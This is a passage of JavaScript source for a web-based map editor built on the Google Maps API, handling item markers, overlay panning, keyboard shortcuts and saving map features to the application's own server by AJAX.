MAPEDITOR.GLOBAL.DEFINES.firstMarker++;\n //get the lat/long of item marker and put it in the item location tab\n document.getElementById('content_toolbox_posItem').value = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n //get the reverse geo address for item location and put in location tab\n MAPEDITOR.UTILITIES.codeLatLng(MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition());\n //store coords to save\n MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n //add listener for new item marker (can only add once the MAPEDITOR.GLOBAL.DEFINES.itemMarker is created)\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.itemMarker, 'dragend', function () {\n //get lat/long\n document.getElementById('content_toolbox_posItem').value = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n //get address\n MAPEDITOR.UTILITIES.codeLatLng(MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition());\n //store coords to save\n MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n //assign flags\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSaveItem = true;\n });\n } else {\n //nothing in search\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L39);\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: useSearchAsItemLocation completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n deleteItemLocation: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: deleteItemLocation started...\");\n if (MAPEDITOR.GLOBAL.DEFINES.itemMarker) {\n //confirm\n if (MAPEDITOR.UTILITIES.confirmMessage(MAPEDITOR.LOCALIZATION.DEFINES.L70)) {\n //hide marker\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = null;\n //msg\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L69;\n //send to server and delete from mets\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n MAPEDITOR.UTILITIES.createSavedItem(\"delete\", null);\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n //clear saving item center as well\n MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter = null;\n //explicitly disallow editing after converting\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n //clear item boxes\n document.getElementById(\"content_toolbox_posItem\").value = \"\";\n document.getElementById(\"content_toolbox_rgItem\").value = \"\";\n } else {\n //do nothing\n }\n } else {\n //did not delete\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotDeleted);\n //explicitly disallow editing after a failed convert\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: deleteItemLocation completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n panOverlay: function (direction) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: panOverlay started...\");\n switch (direction) {\n case \"up\":\n //calc original\n var neLat = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getNorthEast().lat() + 0.00005;\n var neLng = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getNorthEast().lng() + 0.00000;\n var swLat = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getSouthWest().lat() + 0.00005;\n var swLng = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getSouthWest().lng() + 0.00000;\n var bounds = new google.maps.LatLngBounds(new google.maps.LatLng(swLat, swLng), new google.maps.LatLng(neLat, neLng));\n var pixelPoint = MAPEDITOR.UTILITIES.latLngToPixel(new google.maps.LatLng(neLat, neLng));\n MAPEDITOR.TRACER.addTracer(\"[INFO]: x: \" + pixelPoint.x);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: y: \" + pixelPoint.y);\n //assign overlay position\n document.getElementById(\"overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex).style.position = \"static\";\n //assign ghost position\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].setBounds(bounds);\n //MAPEDITOR.UTILITIES.testBounds();\n break;\n case \"down\":\n //calc original\n var neLat = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getNorthEast().lat() - 0.00005;\n var neLng = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getNorthEast().lng() + 0.00000;\n var swLat = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getSouthWest().lat() - 0.00005;\n var swLng = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getSouthWest().lng() + 0.00000;\n var bounds = new google.maps.LatLngBounds(new google.maps.LatLng(swLat, swLng), new google.maps.LatLng(neLat, neLng));\n var pixelPoint = MAPEDITOR.UTILITIES.latLngToPixel(new google.maps.LatLng(swLat, swLng));\n MAPEDITOR.TRACER.addTracer(\"[INFO]: x: \" + pixelPoint.x);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: y: \" + pixelPoint.y);\n //assign overlay position\n document.getElementById(\"overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex).style.position = \"static\";\n //assign ghost position\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].setBounds(bounds);\n //MAPEDITOR.UTILITIES.testBounds();\n break;\n case \"left\":\n //calc original\n var neLat = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getNorthEast().lat() + 0.00000;\n var neLng = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getNorthEast().lng() - 0.00005;\n var swLat = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getSouthWest().lat() + 0.00000;\n var swLng = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getSouthWest().lng() - 0.00005;\n var bounds = new google.maps.LatLngBounds(new google.maps.LatLng(swLat, swLng), new google.maps.LatLng(neLat, neLng));\n var pixelPoint = MAPEDITOR.UTILITIES.latLngToPixel(new google.maps.LatLng(swLat, swLng));\n MAPEDITOR.TRACER.addTracer(\"[INFO]: x: \" + pixelPoint.x);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: y: \" + pixelPoint.y);\n //assign overlay position\n document.getElementById(\"overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex).style.position = \"static\";\n //assign ghost position\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].setBounds(bounds);\n //MAPEDITOR.UTILITIES.testBounds();\n break;\n case \"right\":\n //calc original\n var neLat = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getNorthEast().lat() + 0.00000;\n var neLng = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getNorthEast().lng() + 0.00005;\n var swLat = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getSouthWest().lat() + 0.00000;\n var swLng = MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].getBounds().getSouthWest().lng() + 0.00005;\n var bounds = new google.maps.LatLngBounds(new google.maps.LatLng(swLat, swLng), new google.maps.LatLng(neLat, neLng));\n var pixelPoint = MAPEDITOR.UTILITIES.latLngToPixel(new google.maps.LatLng(swLat, swLng));\n MAPEDITOR.TRACER.addTracer(\"[INFO]: x: \" + pixelPoint.x);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: y: \" + pixelPoint.y);\n //assign overlay position\n document.getElementById(\"overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex).style.position = \"static\";\n //assign ghost position\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].setBounds(bounds);\n //MAPEDITOR.UTILITIES.testBounds();\n break;\n case \"reset\":\n //MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].panBy((-1 * xaxis), (-1 * yaxis));\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: panOverlay completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n convertToOverlay: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: convertToOverlay started...\");\n //determine index of overlay \n var totalPolygonCount = 0;\n var nonPoiCount = 0;\n try {\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType.length; i++) {\n totalPolygonCount++;\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[i] != \"poi\") {\n nonPoiCount++;\n }\n }\n MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType.length - nonPoiCount;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: converted overlay index: \" + MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex);\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: no overlays thus pages to convert to.\");\n }\n\n //if (MAPEDITOR.GLOBAL.DEFINES.itemMarker && MAPEDITOR.GLOBAL.DEFINES.incomingPointSourceURL[0] != \"\") {\n if (nonPoiCount > 0) {\n if (MAPEDITOR.GLOBAL.DEFINES.itemMarker) {\n //hide marker\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = null;\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L67;\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n MAPEDITOR.UTILITIES.createSavedItem(\"delete\", null); //send to server and delete from mets\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n ////open first overlay to convert\n //MAPEDITOR.UTILITIES.createOverlayFromPage(MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex + 1);\n }\n //switch to overlay tab\n MAPEDITOR.UTILITIES.actionsACL(\"none\", \"item\");\n MAPEDITOR.UTILITIES.actionsACL(\"full\", \"overlay\");\n //(confirm 'main' if not already there) fixes a bug \n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex] = \"TEMP_main\";\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPolygonType[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex] = \"TEMP_rectangle\";\n //explicitly open overlay tab (fixes bug)\n MAPEDITOR.ACTIONS.openToolboxTab(3);\n //converted\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L44);\n //explicitly disallow editing after converting\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n } else {\n //cannot convert\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L40);\n //explicitly disallow editing after a failed convert\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: convertToOverlay completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n openToolboxTab: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: openToolboxTab started...\");\n //assign numerics to text\n if (id == \"search\") {\n id = 1;\n }\n if (id == \"item\") {\n id = 2;\n }\n if (id == \"overlay\") {\n id = 3;\n }\n if (id == \"poi\") {\n id = 4;\n //explicitly reopen the dm\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingControl: true, drawingControlOptions: { position: google.maps.ControlPosition.RIGHT_TOP, drawingModes: [google.maps.drawing.OverlayType.MARKER, google.maps.drawing.OverlayType.CIRCLE, google.maps.drawing.OverlayType.RECTANGLE, google.maps.drawing.OverlayType.POLYGON, google.maps.drawing.OverlayType.POLYLINE], markerOptions: MAPEDITOR.GLOBAL.DEFINES.markerOptionsPOI, circleOptions: MAPEDITOR.GLOBAL.DEFINES.circleOptionsPOI, rectangleOptions: MAPEDITOR.GLOBAL.DEFINES.rectangleOptionsPOI, polygonOptions: MAPEDITOR.GLOBAL.DEFINES.polygonOptionsPOI, polylineOptions: MAPEDITOR.GLOBAL.DEFINES.polylineOptionsPOI } });\n }\n $(\"#mapedit_container_toolboxTabs\").accordion({ active: id });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: openToolboxTab completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n keyPress: function (e) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: keypress started...\");\n //determine if we are typing in a text area\n MAPEDITOR.UTILITIES.checkKeyCode();\n //get keycode\n var keycode = null;\n if (window.event) {\n keycode = window.event.keyCode;\n } else if (e) {\n keycode = e.which;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: key press: \" + keycode);\n //handle specific keycodes\n switch (keycode) {\n case 13: //enter\n if (\"content_menubar_searchField\" == document.activeElement.id) {\n MAPEDITOR.UTILITIES.finder(document.getElementById(\"content_menubar_searchField\").value);\n }\n if (\"content_toolbox_searchField\" == document.activeElement.id) {\n MAPEDITOR.UTILITIES.finder(document.getElementById(\"content_toolbox_searchField\").value);\n }\n if (\"content_toolbar_searchField\" == document.activeElement.id) {\n MAPEDITOR.UTILITIES.finder(document.getElementById(\"content_toolbar_searchField\").value);\n }\n break;\n case 67: //shift + C\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n if (navigator.appName == \"Microsoft Internet Explorer\") {\n var copyString = document.getElementById(\"cLat\").innerHTML;\n copyString += \", \" + document.getElementById(\"cLong\").innerHTML;\n window.clipboardData.setData(\"Text\", copyString);\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L19);\n } else {\n if (MAPEDITOR.GLOBAL.DEFINES.cCoordsFrozen == \"no\") {\n //freeze\n MAPEDITOR.GLOBAL.DEFINES.cCoordsFrozen = \"yes\";\n //MAPEDITOR.UTILITIES.stickyMessage(\"Coordinate viewer is frozen (to unfreeze hold the shift key + the \\\"F\\\" key)\");\n //MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L20);\n MAPEDITOR.UTILITIES.stickyMessage(MAPEDITOR.LOCALIZATION.DEFINES.L20);\n } else {\n //unfreeze\n MAPEDITOR.GLOBAL.DEFINES.cCoordsFrozen = \"no\";\n //MAPEDITOR.UTILITIES.stickyMessage(\"Coordinate viewer is frozen (to unfreeze hold the shift key + the \\\"F\\\" key)\");\n MAPEDITOR.UTILITIES.stickyMessage(MAPEDITOR.LOCALIZATION.DEFINES.L20);\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L21);\n }\n }\n }\n break;\n //toggle Overlays\n case 79: //shift + O\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n MAPEDITOR.ACTIONS.toggleVis(\"overlays\");\n }\n break;\n //toggle POIs\n case 80: //shift + P\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n }\n break;\n //toggle toolbar\n case 82: //shift + R\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbar\");\n }\n break;\n //toggle toolbox\n case 88: //shift + X\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n }\n break;\n //move overlay left\n case 97: //a\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n if (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex != null) {\n try {\n MAPEDITOR.ACTIONS.panOverlay(\"left\");\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: could not pan overlay\");\n }\n\n }\n }\n break;\n //move overlay up\n case 119: //w\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n if (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex != null) {\n try {\n MAPEDITOR.ACTIONS.panOverlay(\"up\");\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: could not pan overlay\");\n }\n\n }\n }\n break;\n //move overlay right\n case 100: //s\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n if (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex != null) {\n try {\n MAPEDITOR.ACTIONS.panOverlay(\"right\");\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: could not pan overlay\");\n }\n\n }\n }\n break;\n //move overlay down\n case 115: //g\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n if (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex != null) {\n try {\n MAPEDITOR.ACTIONS.panOverlay(\"down\");\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: could not pan overlay\");\n }\n\n }\n }\n break;\n //toggle DebugPanel\n case 68: //shift + D (for debuggin)\n if (MAPEDITOR.GLOBAL.DEFINES.typingInTextArea == false) {\n if (MAPEDITOR.GLOBAL.DEFINES.debuggerOn == true) {\n MAPEDITOR.TRACER.toggleTracer();\n } else {\n try {\n if (document.URL.indexOf(\"debugger\") > -1) {\n MAPEDITOR.GLOBAL.DEFINES.debuggerOn = true;\n MAPEDITOR.TRACER.toggleTracer();\n }\n } catch(e) {\n //do nothing\n }\n }\n }\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: keypress completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }\n };\n }(), //called by user direct interaction\n UTILITIES: function () {\n return {\n addOverlayListItemThumbnailTooltip: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: addOverlayListItemThumbnailTooltip started...\");\n $(\"#overlayListItemText\" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[id-1]).tooltip({ content: \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL[id-1] + \"\\\" style=\\\"max-height:200px;width:auto;\\\"/>\" });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: addOverlayListItemThumbnailTooltip completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" + err.lineNumber);\n }\n },\n cycleOverlayHighlight: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: cycleOverlayHighlight started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: highlighting overlays\");\n //go through each overlay on the map\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL.length ; i++) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: hit: \" + id + \" index: \" + i + \" length: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonSourceURL.length);\n //if there is a match in overlays\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i] == id) {\n //set highlight color\n document.getElementById(\"overlayListItem\" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]).style.background = MAPEDITOR.GLOBAL.DEFINES.listItemHighlightColor;\n } else {\n //reset highlight\n document.getElementById(\"overlayListItem\" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i]).style.background = null;\n }\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: cycleOverlayHighlight completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //cycle through all overlay list itmes and hightliht them accordingly\n overlayCenterOnMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayCenterOnMe started...\");\n //attempt to pan to center of overlay\n map.panTo(MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[id].getBounds().getCenter());\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayCenterOnMeS completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //centeres on an overlay\n toServer: function (dataPackage) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: toServer started...\");\n jQuery('form').each(function () {\n var payload = JSON.stringify({ sendData: dataPackage });\n var hiddenfield = document.getElementById('payload');\n hiddenfield.value = payload;\n var hiddenfield2 = document.getElementById('action');\n hiddenfield2.value = 'save';\n //reset success marker\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccess = false;\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_Working);\n $.ajax({\n type: \"POST\",\n async: true,\n url: window.location.href.toString(),\n data: jQuery(this).serialize(),\n success: function (result) {\n //MAPEDITOR.TRACER.addTracer(\"[INFO]: server result:\" + result);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Sallback from server - success\");\n //MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_Completed);\n //MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_Saved);\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage); //will only display last success message\n //reset success message\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L_Completed; //take out, because it could interfere with multiple saves\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccess = true; //not really used\n MAPEDITOR.GLOBAL.DEFINES.csoi = 0; //reset\n }\n });\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: toServer completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //sends save dataPackages to the server via json\n createSavedPOI: function (handle) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: createSavedPOI started...\");\n var dataPackage = \"\";\n //cycle through all pois\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poi length: \" + MAPEDITOR.GLOBAL.DEFINES.poiObj.length);\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n //get specific geometry \n switch (MAPEDITOR.GLOBAL.DEFINES.poiType[i]) {\n case \"marker\":\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] = MAPEDITOR.GLOBAL.DEFINES.poiObj[i].getPosition().toString();\n break;\n case \"circle\":\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] = MAPEDITOR.GLOBAL.DEFINES.poiObj[i].getCenter() + \"|\";\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] += MAPEDITOR.GLOBAL.DEFINES.poiObj[i].getRadius();\n break;\n case \"rectangle\":\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] = MAPEDITOR.GLOBAL.DEFINES.poiObj[i].getBounds().toString();\n break;\n case \"polygon\":\n MAPEDITOR.GLOBAL.DEFINES.poiObj[i].getPath().forEach(function (latLng) {\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] += \"|\";\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] += latLng; //NOTE: this has a non standard coordinate separator \n });\n break;\n case \"polyline\":\n MAPEDITOR.GLOBAL.DEFINES.poiObj[i].getPath().forEach(function (latLng) {\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] += \"|\";\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] += latLng; //NOTE: this has a non standard coordinate separator \n });\n break;\n case \"deleted\":\n //nothing to do here, just a placeholder\n break;\n }\n ////filter out the deleted pois\n //if (MAPEDITOR.GLOBAL.DEFINES.poiType[i] != \"deleted\") {\n // //compile data message\n // var data = handle + \"|\" + \"poi|\" + MAPEDITOR.GLOBAL.DEFINES.poiType[i] + \"|\" + MAPEDITOR.GLOBAL.DEFINES.poiDesc[i] + \"|\" + MAPEDITOR.GLOBAL.DEFINES.poiKML[i] + \"|\";\n // dataPackage += data + \"~\";\n //}\n //compile data message\n var data = handle + \"|\" + \"poi|\" + MAPEDITOR.GLOBAL.DEFINES.poiType[i] + \"|\" + MAPEDITOR.GLOBAL.DEFINES.poiDesc[i] + \"|\" + MAPEDITOR.GLOBAL.DEFINES.poiKML[i] + \"|\";\n dataPackage += data + \"~\";\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: saving poi set: \" + dataPackage); //temp \n //add another filter to catch if datapackage is empty\n if (dataPackage != \"\") {\n MAPEDITOR.UTILITIES.toServer(dataPackage); //send to server to save \n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: createSavedPOI completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //create a package to send to the server to save poi\n createSavedOverlay: function (handle, pageId, label, source, bounds, rotation) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: createSavedOverlay started...\");\n var temp = source;\n if (temp.contains(\"~\") || temp.contains(\"|\")) { //check to make sure reserve characters are not there\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L7);\n }\n //var formattedBounds = \n var messageType = handle + \"|\" + \"overlay\"; //define what message type it is\n var data = messageType + \"|\" + pageId + \"|\" + label + \"|\" + bounds + \"|\" + source + \"|\" + rotation + \"|\";\n var dataPackage = data + \"~\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: saving overlay set: \" + dataPackage); //temp\n MAPEDITOR.UTILITIES.toServer(dataPackage);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: createSavedOverlay completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //create a package to send to server to save overlay\n createSavedItem: function (handle, coordinates) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: createSavedItem started...\");\n var messageType = handle + \"|\" + \"item\"; //define what message type it is\n //assign data\n var data = messageType + \"|\" + coordinates + \"|\";\n var dataPackage = data + \"~\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: saving item: \" + dataPackage); //temp\n MAPEDITOR.UTILITIES.toServer(dataPackage);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: createSavedItem completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //create a package to send to server to save item\n stickyMessage: function (stickyMessage) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: stickyMessage started...\");\n //debug log this message\n MAPEDITOR.TRACER.addTracer(\"[INFO]: sticky message #\" + MAPEDITOR.GLOBAL.DEFINES.stickyMessageCount + \": \" + stickyMessage); //send to debugger for logging\n MAPEDITOR.TRACER.addTracer(\"[INFO]: sticky message Count: \" + MAPEDITOR.GLOBAL.DEFINES.stickyMessageCount);\n\n var duplicateStickyMessage = false;\n\n try {\n if (document.getElementById(\"stickyMessage\" + MAPEDITOR.GLOBAL.DEFINES.stickyMessageCount).innerHTML == stickyMessage) {\n duplicateStickyMessage = true;\n } else {\n duplicateStickyMessage = false;\n }\n } catch (e) {\n //could not find the ID\n 